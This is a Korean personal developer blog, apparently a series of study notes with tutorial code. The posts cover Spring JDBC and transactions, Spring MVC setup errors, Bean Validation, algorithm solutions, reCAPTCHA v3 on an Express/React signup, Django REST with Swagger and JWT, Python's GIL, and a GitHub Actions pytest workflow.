DataSource 설정 AppCtx.java 1 @Bean(destroyMethod = "close") 2 public DataSource dataSource() { 3 DataSource ds = new DataSource(); 4 ds.setDriverClassName("com.mysql.jdbc.Driver"); 5 ds.setUrl("jdbc:mysql://localhost/spring5fs?"+ 6 "enabledTLSProtocols=TLSv1.2&"+ 7 "useSSL=false&"+ 8 "characterEncoding=utf8"); 9 ds.setUsername("spring5"); 10 ds.setPassword("spring5"); 11 ds.setInitialSize(2); 12 ds.setMaxActive(10); 13 ds.setTestWhileIdle(true); 14 ds.setMinEvictableIdleTimeMillis(60000 * 3); 15 ds.setTimeBetweenEvictionRunsMillis(10 * 1000); 16 return ds; 17 } Query 실행 JdbcTemplate을 이용한 select 1jdbcTemplate.query( 2"select * from MEMBER where EMAIL = ?", 3new RowMapper<Member>() { 4 @Override 5 public Member mapRow(ResultSet rs, int rowNum) 6 throws SQLException { 7 Member member = new Member( 8 rs.getString("EMAIL"), 9 rs.getString("PASSWORD"), 10 rs.getString("NAME"), 11 rs.getTimestamp("REGDATE").toLocalDateTime()); 12 member.setId(rs.getLong("ID")); 13 return member; 14 } 15 }, 16 email); PreparedStatementCreater를 이용한 update 1jdbcTemplate.update(new PreparedStatementCreator() { 2 @Override 3 public PreparedStatement createPreparedStatement(Connection con) 4 throws SQLException { 5 PreparedStatement pstmt = con.prepareStatement( 6 "insert into MEMBER (EMAIL, PASSWORD, NAME, REGDATE) values (?, ?, ?, ?)"); 7 pstmt.setString(1, member.getEmail()); 8 pstmt.setString(2, member.getPassword()); 9 pstmt.setString(3, member.getName()); 10 pstmt.setTimestamp(4, Timestamp.valueOf(member.getRegisterDateTime())); 11 12 return pstmt; 13 } 14}) java.sql.SQLException: Unable to load class: come.mysql.jdbc.Driver from … 오류를 잘 보자… come.mysql… 오타로 인한 문제였다 java.sql.SQLException: Unable to load authentication plugin ‘caching_sha2_password’. mysql 비밀번호 인증 방식에 따른 오류이다 해결방법 : mysql에서 비밀번호 인증방식을 바꾸자 1ALTER USER '사용자'@'localhost' IDENTIFIED WITH mysql_native_password BY '비밀번호'; javax.net.ssl.SSLHandshakeException: No appropriate protocol (protocol is disabled or cipher suites are inappropriate) url에 enabledTLSProtocols=TLSv1.2를 지정하여 해결할 수 있다 url형식때문에 해결하는데 조금 시간이 걸렸다. 올바른 URL 형식은 아래와 같다 기억하자 jdbc:mysql://localhost/spring5fs?속성1=값1&속성2=값2…" Transaction 처리 Transaction 데이터베이스의 상태를 변화시키기 위해 수행하는 작업의 단위 배경 쿼리 두 개를 실행하는데 만약 2번째 쿼리에서 오류가 발생했을때 1번째 쿼리 실행 이전 상태로 되돌리는 (롤백) 작업이 필요하다 이와 같이 쿼리 두 개를 묶어야 하는 상황에 Transaction을 이용한다. rollback 함수를 직접 호출하는 방법도 있지만, Spring에서는 @Transactional을 이용해 더 간편하게 구현할 수 있다. AppCtx.java 1@Bean 2public PlatformTransactionManager transactionManager() { 3 DataSourceTransactionManager tm = new DataSourceTransactionManager(); 4 tm.setDataSource(dataSource()); 5 return tm; 6} ChangePasswordService.java 1@Transactional 2public void changePassword(String email, String oldPwd, String newPwd) { 3 Member member = memberDao.selectByEmail(email); 4 5 if (member == null) 6 throw new MemberNotFoundException(); 7 8 member.changePassword(oldPwd, newPwd); 9 memberDao.update(member); 10} 트랜잭션 관련 로그 메시지 출력 logback.xml 1<?xml version="1.0" encoding="UTF-8"> 2 3<configuration> 4 <appender name="stdout" class="chqos.logback.core.ConsoleAppender"> 5 <encoder> 6 <pattern>%d %5p %c{2} - %m%n</pattern> 7 </encoder> 8 </appender> 9 <root level="INFO"> 10 <appender-ref ref="stdout" /> 11 </root> 12 13 <logger name="org.springframework.jdbc" level="DEBUG" /> 14</configuration> 로그 출력하는 것도 배워보았다. Transaction 전파 1public class SomeService { 2 private AnyService anyService; 3 4 @Transactional 5 public void some() { 6 anyService.any(); 7 } 8 9 public void setAnyService(AnyService as) { 10 anyService = as; 11 } 12} 13 14public class AnyService { 15 @Transactional 16 public void any() { ... } 17} some메소드가 any메소드를 호출했다. 위 코드에서는 메소드 둘 다 @Transactional이 붙어있지만 만약 붙어있지 않으면 어떻게 될까? 이렇게 메소드 간 호출이 발생할 때 트랜잭션이 유지되는 것을 트랜잭션 전파라고 한다. @Transactional annotation에 사용할 수 있는 속성 중 propagation이 트랜잭션 전파타입을 지정한다. 기본값 : REQUIRED : 현재 진행중인 트랜잭션이 존재하면 해당 트랜잭션 사용, 존재하지 않으면 새로운 트랜잭션을 생성한다

🍃 Spring

Spring MVC 시작하기 프로젝트 생성 앞에서 만들었던 자바 애플리케이션과는 좀 다른점이 있었다 jar이 아닌 war을 사용하는 등 여러가지 많았는데 일일이 적지는 않을 것이다 Controller 1@Controller 2public class HelloController { 3 @GetMapping("/hello") 4 public String hello(Model model, 5 @RequestParam(value="name", required=false) String name) { 6 model.addAttribute("greeting", "안녕하세요" + name); 7 return "hello"; 8 } 9} JSP 1<%@ page contentType="text/html; charset=utf-8" %> 2<!DOCTYPE html> 3<html> 4 <head> 5 <title>Hello</title> 6 </head> 7 <body> 8 인사말 : ${greeting} 9 </body> 10</html URL접속해도 해당 jsp파일이 나오지 않는 문제 vscode에서 community server connector라는 extension을 통해 tomcat을 띄워서 할려고 한다 특정 jsp를 감지했는지, serving하는지에 대한 로그가 없어 되는건지 알 수가 없다 web.xml; lineNumber: 1; columnNumber: 37; A pseudo attribute name is expected. // before <?xml version="1.0" encoding="UTF-8"> // after <?xml version="1.0" encoding="UTF-8"?> 물음표를 빼먹어서 생기는 오류이다 404: Not Found 1// before 2registry.jsp("/WEB-INF/view", ".jsp"); 3// after 4registry.jsp("/WEB-INF/view/", ".jsp");

Spring 개념 - Bean Lifecycle & Scope

🍃 Spring

Bean 객체의 Lifecycle Bean 객체가 생성 또는 소멸될때 특정 코드를 실행하게 할 수 있다. @PostConstruct, @PreDestroy Annotation 사용 1// Bean 객체 생성될 때 실행 2@PostConstruct 3public void postConstruct() {...} 4 5// Bean 객체 소멸될 때 실행 6@PreDestroy 7public void preDestroy() {...} InitializingBean, DisposableBean 구현 1public class Client implements InitializingBean, DisposableBean { 2 // Bean 객체 생성될 때 실행 3 @Override 4 public void afterPropertiesSet() throws Exception {...} 5 6 // Bean 객체 소멸될 때 실행 7 @Override 8 public void destroy() throws Exception {...} 9} @Bean Annotation에서 설정 1@Bean(initMethod = "init", destroyMethod="close") 2public class Client2{ 3 // Bean 객체 생성될 때 실행 4 public void init() {...} 5 // Bean 객체 소멸될 때 실행 6 public void close() {...} 7} Bean 객체의 Scope 기본적으로 Bean 객체는 Singleton scope를 갖는다 하지만 임의로 Prototype scope를 갖게 할 수 있다. 1@Configuration 2public class AppCtx { 3 @Bean 4 @Scope("prototype") 5 public Client client() {} 6}

Spring - Bean Validation : Annotation으로 Validation하기

🍃 Spring

Bean Validation Annotation을 달아서 Validation을 수행할 수 있다. 주로 jakarta.validation과 hibernate.validator 두 패키지를 사용한다. Dependency Diagram 구조 spring-boot-starter-validation -> hibernate-validator -> jakarta.validation-api jakarta.validation에서 지원하는 annotation Annotation Description @NotNull null이 아닌가 ("", " " => 통과) @NotEmpty null이 아니고, size가 0인가 (" " => 통과) @NotBlank null이 아니고, trim한 결과가 empty인가 @Size 문자열, 배열의 길이가 해당 범위에 있는가 @Min 숫자가 해당 범위에 있는가 @Max 숫자가 해당 범위에 있는가 @Email 이메일 형식에 맞는가 @Pattern Regex(정규식)에 맞는가 @Past 과거의 날짜인가 @Future 미래의 날짜인가 @Digits 정수, 소수 자릿수가 해당 범위에 있는가 @DecimalMin, @DecimalMax 자릿수가 해당 범위에 있는가 (소수 이하 자릿수 포함) @Positive, @PositiveOrZero, @Negative, @NegativeOrZero hibernate.validator에서 지원하는 annotation Annotation Description @Range 숫자가 해당 범위에 있는가 (소수 이하 자릿수 포함) @Length 문자열, 배열의 길이가 해당 범위에 있는가 @URL URL 형식에 맞는가 언급한 Annotation말고 다른 Annotation도 있다. Rest Controller에서 사용 Controller 1public ResponseEntity<Customer> postCustomer(@RequestBody @Valid CustomerDTO customerDTO) {...} @Valid Annotation을 붙여서 CustomerDTO 객체에 대한 Validation을 수행한다 @Valid Annotation을 붙이는 것을 깜빡하지 말자 예외 처리 위 코드의 Validation에서 실패하면, MethodArgumentNotValidException이 발생한다 해당 예외는 필드별 모든 에러를 담고 있다 그대로 반환하면 엄청 길기 때문에, 보통 아래 코드와 같이 필요한 정보만 추출해서 반환한다 1processValidationErrors(MethodArgumentNotValidException e) { 2 List<String> errors = e.getBindingResult().getFieldErrors().stream() 3 .map(error -> error.getField() + ": " + error.getDefaultMessage()) 4 .collect(Collectors.toList()); 5 return new ResponseEntity<>(errors, HttpStatus.BAD_REQUEST); 6} 수동 Validation Controller에서 Validation을 수행하지 못하는 경우, 수동으로 Validation을 수행할 수 있다 이때, Validator 객체를 주입받아서 사용한다 1import jakarta.validation.Validator; 2... 3@Autowired 4private Validator validator; 5... 6var violations = validator.validate(voucher); 7if (!violations.isEmpty()) 8 throw new IllegalArgumentException(violations.stream().findFirst().get().getMessage()); 코드에서는 voucher 객체에 대한 Validation을 수행하고, 발생한 에러가 있다면 IllegalArgumentException을 발생시킨다

백준 - 2502 : 떡 먹는 호랑이 (S1)

🧠 Algorithm

1D, K = map(int, input().split()) 2L = [(1, 0), (0, 1)] 3 4for i in range(2, D): 5 L.append((L[i-2][0]+L[i-1][0], L[i-2][1]+L[i-1][1])) 6 7A = 1 8B = 2 9 10while True: 11 if A*L[D-1][0] + B*L[D-1][1] == K: 12 break 13 14 if A+1 == B: 15 B += 1 16 A = 1 17 else: 18 A += 1 19 20print (A,'\n',B, sep='') 해결방법 N번째날 떡 개수를 구하기 위해 첫째날 떡, 둘째날 떡을 각각 몇번 더해야하는지 리스트에 구한다 첫째, 둘째 날 떡을 하나하나 넣어보면서 브루트 포스를 수행한다

프로그래머스 - 숫자 카드 나누기 (L2)

🧠 Algorithm

첫번째 통과한 풀이 1import math 2 3def gcd(a, b): 4 while b > 0: 5 a, b = b, a%b 6 return a 7 8def gcdOfArr(l): 9 result = l[0] 10 for i in range(1, len(l)): 11 result = gcd(result, l[i]) 12 return result 13 14def solution(arrayA, arrayB): 15 a1 = gcdOfArr(arrayA) 16 for i in arrayB: 17 if i % a1 == 0: 18 a1 = 0 19 break 20 a2 = gcdOfArr(arrayB) 21 for i in arrayA: 22 if i % a2 == 0: 23 a2 = 0 24 break 25 return max(a1, a2) 개선한 풀이 1import math 2from functools import reduce 3 4def gcd(a, b): 5 while b > 0: 6 a, b = b, a%b 7 return a 8 9def solution(arrayA, arrayB): 10 a1 = reduce(gcd, arrayA) 11 a1 = 0 if any(i % a1 == 0 for i in arrayB) else a1 12 a2 = reduce(gcd, arrayB) 13 a2 = 0 if any(i % a2 == 0 for i in arrayA) else a2 14 return max(a1, a2) 문제 철수가 가진 숫자의 배열 arrayA, 영희가 가진 숫자의 배열 arrayB가 주어진다 철수가 가진 카드들의 모든 숫자를 나눌 수 있고, 영희가 가진 숫자는 하나도 나눌 수 없는 양의 정수 a 영희가 가진 카드들의 모든 숫자를 나눌 수 있고, 철수가 가진 숫자는 하나도 나눌 수 없는 양의 정수 a 가장 큰 양의 정수 a를 구하라, 없다면 0을 반환하라 TC input [14, 35, 119] ouput 7 해결방법 프로그래머스에서 지원하는 파이썬이 3.8이라서 내장함수 math.gcd(3.9부터 지원)를 사용하지 못했다 유클리드 호제법 기억이 나지 않아서 약간의 구글링을 통해 해결하였다 reduce와 any함수를 통해 코드의 길이를 대폭 감소 시킬 수 있었다, 자주 활용하자

Express&React 프로젝트에 Recaptcha v3 적용하기

🍌 Javascript

상황 사이드 프로젝트 “알록"을 개발하던 중, 사용자가 악의적인 목적으로 반복적으로 요청을 보내는 것을 어떻게 막을까 고민하게 되었다. 조사를 통해 Google에서 제공되는 Recaptcha를 사용하면 손쉽게 방지할 수 있다는 것을 알게 되었다. 공격자의 입장에서 생각했을 때, 지금 프로젝트에서 가장 취약한 부분은 회원가입이라고 생각했다. 회원가입은 회원이 아닌 자가, 아이디와 비밀번호 규칙만 만족한다면 반복적으로 요청을 보낼 수 있고, 이는 DB에 바로 저장되기 때문이다. 따라서 회원가입 부분에 Recaptcha를 적용하기로 결정했다. Recaptcha란? Recaptcha는 구글에서 제공하는 무료 보안 서비스로, 사용자가 로봇이 아님을 증명하는 방법 중 하나이다. 지원 종료된 v1을 제외하면 v2, v3 두 가지 버전이 있다. v2는 사용자가 ‘나는 로봇이 아닙니다’를 클릭하는 방식으로 인증이 완료된다. v3는 사용자와 상호작용 없이 자동으로 인증이 완료된다. 필자는 사용자의 경험과 이를 테스트할 나의 고생을 덜기 위해 v3를 사용하기로 했다. v3의 작동 방식 사용자의 마우스 클릭, 키보드 입력, 스크롤, 요청 패턴 등을 분석하여 점수를 매긴다. 점수는 0.0 ~ 1.0 사이의 값으로, 0.0은 로봇, 1.0은 사람을 의미한다. 개발자는 Recaptcha가 평가한 점수를 기반으로 요청을 받아들일지 말지 결정할 수 있다. 예상 시나리오 사용자가 회원가입 페이지에 접속한다. 브라우저단에서 Recaptcha 키를 Recaptcha 토큰을 받아온다. 사용자가 회원가입 요청을 보낼 때, Recaptcha 토큰을 함께 전달한다. 서버에서 Recaptcha 토큰을 검증하고, 점수가 0.5보다 낮으면 요청을 거부한다. 적용 사전 설정 https://www.google.com/recaptcha/에 접속하여 도메인을 등록하고 키를 받는다. 자세한 과정은 다른 블로그에도 잘 설명되어 있어서 생략한다. Server (Express) user-service.ts 1// 서비스 레이어에 추가한 Recaptcha 검증 함수 2static async verifyRecaptcha(token: string): Promise<void> { 3 // Recaptcha 검증 4 const response = await fetch( 5 // 키는 Recaptcha 사이트에서 받은 것이며, 환경 변수로 관리 6 `https://www.google.com/recaptcha/api/siteverify?secret=${process.env.RECAPTCHA_SECRET_KEY}&response=${token}`, 7 { 8 method: "POST", 9 } 10 ); 11 // 결과를 JSON으로 파싱 12 const verificationReuslt = await response.json(); 13 14 // 점수가 0.5보다 낮으면 예외를 던짐 15 if (verificationReuslt.score <= 0.5) { 16 throw new RecaptchaScoreTooLowError(); 17 } 18 19 // 성공 여부가 false이면 예외를 던짐 (토큰이 유효하지 않은 경우) 20 if (!verificationReuslt.success) { 21 throw new RecaptchaTokenInvalidError(); 22 } 23} user-router.ts 1// 컨트롤러 부분에서 부분에서 Recaptcha 검증 함수를 호출, 발생시킨 예외를 처리 2try { 3 await UserService.verifyRecaptcha(recaptchaToken); 4 await UserService.createUser(username, password); 5 res.status(201).send("User created successfully"); 6} catch (err: any) { 7 // Recaptcha 점수가 낮은 경우 -> 403 Forbidden 8 if (err instanceof RecaptchaScoreTooLowError) { 9 res.status(403).send(err.message); 10 // Recaptcha 토큰이 유효하지 않은 경우 -> 400 Bad Request 11 } else if (err instanceof RecaptchaTokenInvalidError) { 12 res.status(400).send(err.message); 13 } else if (err instanceof UserAlreadyExistsError) { 14 res.status(409).send(err.message); 15 } else { 16 console.error(err); 17 res.status(500).send(err.message); 18 } 19} Client (React) App.tsx 1import { GoogleReCaptchaProvider } from "react-google-recaptcha-v3"; 2 3return ( 4 // 최상위 컴포넌트에 GoogleReCaptchaProvider를 사용하여 Recaptcha 키를 전달 5 <GoogleReCaptchaProvider 6 reCaptchaKey={process.env.REACT_APP_RECAPTCHA_SITE_KEY || ""} 7 > 8 <Router> 9 {/* ... */} 10 </Router> 11 </GoogleReCaptchaProvider> 12); SignupPage.tsx 1import { useGoogleReCaptcha } from "react-google-recaptcha-v3"; 2 3const SignupPage: React.FC = () => { 4 // useGoogleReCaptcha 훅을 사용하여 Recaptcha 토큰을 받아옴 5 const { executeRecaptcha } = useGoogleReCaptcha(); 6 7 const handleSignup = async () => { 8 // Recaptcha 토큰을 받아오기도 전에 사용자가 회원가입을 시도하는 경우 9 if (!executeRecaptcha) { 10 console.log("Execute recaptcha not yet available"); 11 return; 12 } 13 // Recaptcha 토큰을 받아옴 (signup은 action을 구분하기 위한 문자열) 14 const recaptchaToken = await executeRecaptcha("signup"); 15 16 if (password !== confirmPassword) { 17 alert("비밀번호가 일치하지 않습니다."); 18 return; 19 } 20 21 try { 22 const response = await api.post<SignupResponse>("/users/signup", { 23 username, 24 password, 25 // 서버로 Recaptcha 토큰을 전달 26 recaptchaToken, 27 }); 28 } catch() { 29 // ... 30 } 31 }; 32}; 결과 관리자 콘솔을 통해 Recaptcha를 통해 검증된 요청을 확인할 수 있다.

[모각코24하계] 01 : 결과

👨‍💻 모각코

django에서 swagger 문서화 구현하기 개요 장고 프레임워크를 사용하여 기본적인 CRUD 기능과, REST API를 구현하는 방법을 알아보자. 프로젝트 구조 1. 2├── db.sqlite3 3├── djtest (메인 앱) 4│ ├── __init__.py 5│ ├── asgi.py 6│ ├── settings.py 7│ ├── urls.py 8│ ├── views.py 9│ └── wsgi.py 10├── manage.py 11├── paste (생성한 앱) 12│ ├── __init__.py 13│ ├── admin.py 14│ ├── apps.py 15│ ├── migrations 16│ ├── models.py 17│ ├── serializers.py 18│ ├── tests.py 19│ ├── urls.py 20│ └── views.py 21└── requirements.txt 자주 사용하는 Django 명령자 1# 새로운 Django 프로젝트를 생성 2python manage.py startproject 3# 새로운 Django 앱을 생성 4python manage.py startapp 5# 데이터베이스에 적용할 마이그레이션 파일을 생성 6python manage.py makemigrations 7# 마이그레이션 파일을 실제 데이터베이스에 적용 8python manage.py migrate 9# 관리자(superuser) 계정을 생성 10python manage.py createsuperuser 11# 프로젝트의 테스트 케이스를 실행 12python manage.py test 13# 테스트용 서버를 특정 설정으로 실행 14python manage.py testserver CRUD 구현 Paste 모델 정의 1from django.db import models 2 3class Paste(models.Model): 4 title = models.CharField(max_length=100) 5 content = models.TextField() 6 # auto_now_add : 객체가 처음 생성될 때만 현재 날짜와 시간을 자동으로 설정 7 created_at = models.DateTimeField(auto_now_add=True) 8 # auto_now : 객체가 저장될 때마다 현재 날짜와 시간을 자동으로 설정 9 updated_at = models.DateTimeField(auto_now=True) 10 class Meta: 11 ordering = ['-created_at'] 12 def __str__(self): 13 return self.title Serializer 정의 1from rest_framework import serializers 2from .models import Paste 3 4class PasteSerializer(serializers.ModelSerializer): 5 class Meta: 6 model = Paste 7 fields = '__all__' 8 # 직접 지정하는 방법 9 # fields = ['title', 'content'] View 구현 PasteView 1class PasteView(APIView): 2 def get(self, _): 3 pastes = Paste.objects.all() 4 serializer = PasteSerializer(pastes, many=True) 5 return Response(serializer.data, status=status.HTTP_200_OK) 6 7 def post(self, request): 8 serializer = PasteSerializer(data=request.data) 9 if serializer.is_valid(): 10 serializer.save(user=request.user) 11 return Response(serializer.data, status=status.HTTP_201_CREATED) 12 return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) PasteDetailView 1class PasteDetailView(APIView): 2 def get(self, _, pk): 3 try: 4 paste = Paste.objects.get(pk=pk) 5 serializer = PasteSerializer(paste) 6 return Response(serializer.data, status=status.HTTP_200_OK) 7 except Paste.DoesNotExist: 8 return Response(status=status.HTTP_404_NOT_FOUND) 9 10 def put(self, request, pk): 11 try: 12 paste = Paste.objects.get(pk=pk) 13 except Paste.DoesNotExist: 14 return Response(status=status.HTTP_404_NOT_FOUND) 15 16 if paste.user != request.user: 17 return Response(status=status.HTTP_403_FORBIDDEN) 18 19 serializer = PasteSerializer(paste, data=request.data) 20 if serializer.is_valid(): 21 serializer.save() 22 return Response(serializer.data, status=status.HTTP_200_OK) 23 return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) 24 25 def delete(self, request, pk): 26 try: 27 paste = Paste.objects.get(pk=pk) 28 except Paste.DoesNotExist: 29 return Response(status=status.HTTP_404_NOT_FOUND) 30 31 paste.delete() 32 return Response(status=status.HTTP_204_NO_CONTENT) urls.py 1from django.urls import path 2from paste.views import * 3 4urlpatterns = [ 5 path('', PasteView.as_view(), name='paste_list_create'), 6 path('<int:pk>', PasteDetailView.as_view(), name='paste_get_update_delete'), 7] Swagger 적용 PasteView PasteView 1class PasteView(APIView): 2 @swagger_auto_schema( 3 operation_description="Get list of pastes", 4 operation_summary="Get list of pastes", 5 responses={200: PasteSerializer(many=True)}, 6 ) 7 def get(self, _): 8 ... 9 10 @swagger_auto_schema( 11 operation_description="Create a new paste", 12 operation_summary="Create a new paste", 13 request_body=PasteSerializer, 14 responses={201: PasteSerializer, 400: "Bad Request"}, 15 ) 16 def post(self, request): 17 ... PasteDetailView 1class PasteDetailView(APIView): 2 @swagger_auto_schema( 3 operation_description="Get a paste by ID", 4 operation_summary="Get a paste by ID", 5 responses={200: PasteSerializer, 404: "Not Found"}, 6 ) 7 def get(self, _, pk): 8 ... 9 10 @swagger_auto_schema( 11 operation_description="Update a paste by ID", 12 operation_summary="Update a paste by ID", 13 request_body=PasteSerializer, 14 responses={ 15 200: PasteSerializer, 16 400: "Bad Request", 17 403: "Forbidden", 18 404: "Not Found", 19 }, 20 ) 21 def put(self, request, pk): 22 ... 23 24 @swagger_auto_schema( 25 operation_description="Delete a paste by ID", 26 operation_summary="Delete a paste by ID", 27 responses={204: "No Content", 404: "Not Found"}, 28 ) 29 def delete(self, request, pk): 30 ... swagger 적용 결과 django에서 JWT 인증 구현하기 장고에서는 djangorestframework-simplejwt 패키지를 사용하여 JWT 인증을 구현할 수 있다. requirements 1pip install djangorestframework-simplejwt settings.py 1INSTALLED_APPS = [ 2 ... 3 'rest_framework', 4 'rest_framework_simplejwt', 5] 1REST_FRAMEWORK = { 2 # 기본 인증 클래스를 설정 3 'DEFAULT_AUTHENTICATION_CLASSES': ( 4 'rest_framework_simplejwt.authentication.JWTAuthentication', 5 ), 6 # 기본 스키마 클래스를 설정, CoreAPI를 사용하여 자동으로 API 문서화를 생성 7 'DEFAULT_SCHEMA_CLASS': 'rest_framework.schemas.coreapi.AutoSchema', 8 # 기본 권한 클래스를 설정, AllowAny를 사용하여 모든 요청을 허용 9 'DEFAULT_PERMISSION_CLASSES': ( 10 'rest_framework.permissions.AllowAny', 11 ), 12} 1from datetime import timedelta 2 3SIMPLE_JWT = { 4 # 액세스 토큰의 유효 기간을 설정 5 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=30), 6 # 리프레시 토큰의 유효 기간을 설정 7 'REFRESH_TOKEN_LIFETIME': timedelta(days=1), 8 # 리프레시 토큰이 갱신될 때마다 새로운 리프레시 토큰을 발급할지 여부를 설정 9 'ROTATE_REFRESH_TOKENS': False, 10 # 리프레시 토큰이 갱신된 후 이전 토큰을 블랙리스트에 추가할지 여부를 설정 11 'BLACKLIST_AFTER_ROTATION': True, 12 13 # JWT 토큰의 암호화 알고리즘을 설정 14 'ALGORITHM': 'HS256', 15 # JWT 토큰을 서명할 때 사용할 키를 설정 16 'SIGNING_KEY': SECRET_KEY, 17 # 토큰 검증에 사용할 공개 키를 설정 18 'VERIFYING_KEY': None, 19 # 토큰의 대상자(aud) 클레임을 설정 20 'AUDIENCE': None, 21 # 토큰의 발급자(iss) 클레임을 설정 22 'ISSUER': None, 23 24 # 인증 헤더 타입을 설정 25 'AUTH_HEADER_TYPES': ('Bearer',), 26 # 인증 헤더의 이름을 설정 27 'AUTH_HEADER_NAME': 'HTTP_AUTHORIZATION', 28 # 사용자 모델에서 사용자 ID 필드를 설정 29 'USER_ID_FIELD': 'id', 30 # JWT 토큰에서 사용자 ID를 저장할 클레임을 설정 31 'USER_ID_CLAIM': 'user_id', 32 33 # 인증에 사용할 토큰 클래스들을 설정 34 'AUTH_TOKEN_CLASSES': ('rest_framework_simplejwt.tokens.AccessToken',), 35 # 토큰의 유형을 저장할 클레임을 설정 36 'TOKEN_TYPE_CLAIM': 'token_type', 37} urls.py 1from django.urls import path 2from rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView 3from rest_framework_simplejwt.authentication import JWTAuthentication 4 5urlpatterns = [ 6 # JWT 토큰을 발급하는 뷰 7 path("token/", TokenObtainPairView.as_view(), name="token_obtain_pair"), 8 # JWT 토큰을 갱신하는 뷰 9 path("token/refresh/", TokenRefreshView.as_view(), name="token_refresh"), 10] views.py 1from rest_framework import permissions 2from rest_framework_simplejwt.authentication import JWTAuthentication 3from drf_yasg.utils import swagger_auto_schema 4 5 6class PasteView(APIView): 7 8 def get(self, request): 9 ... 10 11 def post(self, request): 12 ... 13 14 def get_permissions(self): 15 # SAFE_METHODS : GET, HEAD, OPTIONS 16 if self.request.method in permissions.SAFE_METHODS: 17 self.permission_classes = [permissions.AllowAny] 18 else: 19 self.authentication_classes = [JWTAuthentication] 20 self.permission_classes = [permissions.IsAuthenticated] 21 return super().get_permissions() 22 23 24class PasteDetailView(APIView): 25 26 def get(self, request, pk): 27 ... 28 29 def put(self, request, pk): 30 ... 31 32 def delete(self, request, pk): 33 ... 34 35 def get_permissions(self): 36 # SAFE_METHODS : GET, HEAD, OPTIONS 37 if self.request.method in permissions.SAFE_METHODS: 38 self.permission_classes = [permissions.AllowAny] 39 else: 40 self.authentication_classes = [JWTAuthentication] 41 self.permission_classes = [permissions.IsAuthenticated] 42 return super().get_permissions() 결과 TokenObtainPairView를 통해 access token과 refresh token을 발급받을 수 있다. TokenRefreshView를 통해 refresh token을 사용하여 access token을 갱신할 수 있다. access token과 refresh token은 settings.py에서 설정한 유효 기간에 따라 만료된다. Blacklist 적용 settings.py 1INSTALLED_APPS = [ 2 ... 3 'rest_framework_simplejwt.token_blacklist', 4] 1SIMPLE_JWT = { 2 ... 3 # 블랙리스트에 토큰을 추가할 때 사용할 모델을 설정 4 'BLACKLIST_AFTER_ROTATION': True, 5} 결과 TokenRefreshView를 통해 토큰이 재발급될 때, 이전 refresh token을 블랙리스트에 추가한다.

🐍 Python

GIL(Global Interpreter Lock) 하나의 쓰레드만 파이썬 바이트코드를 실행할 수 있도록 하는 것 파이썬의 표준 구현인 CPython에서만 존재 장점 Reference Counting 기반 메모리 관리의 Race condition 방지 데이터 무결성 보장 : 멀티쓰레드 환경에서 파이썬 객체나 메모리 관련 작업이 안전하게 수행되도록 보장 파이썬 Interpreter의 구현을 단순화 : 복잡한 락 메커니즘이 필요없음 C 확장 모듈이 Thread-Safe 하지 않더라도 안전하게 사용할 수 있도록 보장 플랫폼 독립성 유지 : CPU 아키텍처별 동기화 메커니즘에 의존하지 않음 단점 멀티코어 CPU 활용 제한: 단일 코어만 사용되므로 병렬 처리의 이점을 얻을 수 없음 멀티쓰레딩 성능 저하 : 쓰레드 간 context switching이 빈번하게 발생 공정성 문제 : 특정 쓰레드가 GIL을 장시간 점유하면 starvation 문제가 발생할 수 있음 Reference Counting 객체가 몇 번 참조되는지를 세어서 0이 되면 메모리를 해제하는 방식 파이썬이 사용하는 메모리 관리 방식 장점 : 메모리 해제가 즉시 이루어짐 단점 : Reference Counting이 복잡한 객체 사이의 순환 참조를 해결하지 못함 IO Bound Task vs CPU Bound Task IO Bound Task : 파일 읽기/쓰기, 네트워크 통신 등의 작업 CPU Bound Task : 계산량이 많은 작업 GIL이 주는 영향 IO Bound Task : I/O작업을 수행하는 동안 GIL이 해제되어 다른 쓰레드가 실행될 수 있음 -> 영향이 적음 CPU Bound Task : GIL이 해제되지 않아 다른 쓰레드가 실행될 수 없음 -> 손해가 발생 대안 multiprocessing 모듈 사용 C 확장 모듈 사용 Jython, IronPython 등의 GIL이 없는 파이썬 구현 사용

Github Actions에서 pytest 실행하기

🐍 Python

배경 테커 부트캠프에서 팀프로젝트를 진행 중이다. 현재 비즈니스 로직을 수행하는 함수를 대상으로 Unit Test가 필요하다. Unit Test 코드를 작성하고, Github Actions를 이용하여 자동으로 테스트가 수행되도록 설정하고자 한다. run-pytest.yml 1name: Run pytest 2 3# main 또는 dev 브랜치에 pull request가 발생하면 실행 4on: 5 pull_request: 6 branches: 7 - main 8 - dev 9 10jobs: 11 test: 12 runs-on: ubuntu-latest 13 14 steps: 15 - name: Checkout code 16 uses: actions/checkout@v2 17 18 - name: Set up Python 19 uses: actions/setup-python@v2 20 with: 21 python-version: '3.12' 22 23 - name: Install dependencies 24 run: | 25 python -m pip install --upgrade pip 26 pip install -r requirements.txt 27 28 - name: Run tests 29 run: pytest . 결과 Run pytest . ============================= test session starts ============================== platform linux -- Python 3.12.4, pytest-8.2.2, pluggy-1.5.0 rootdir: /home/runner/work/Backend/Backend plugins: anyio-4.4.0 collected 13 items app/tests/test_crud_chatroom.py ... [ 23%] app/tests/test_crud_mentor.py ... [ 46%] app/tests/test_crud_prescription.py ... [ 69%] app/tests/test_crud_user.py .... [100%] ============================== 13 passed in 0.58s ============================== 생각보다 간단하게 구현할 수 있었다. 테스트 커버리지 100% 찍고, CD까지 구현하면 더할 나위 없을 것 같다.

Python의 동작 원리

🐍 Python

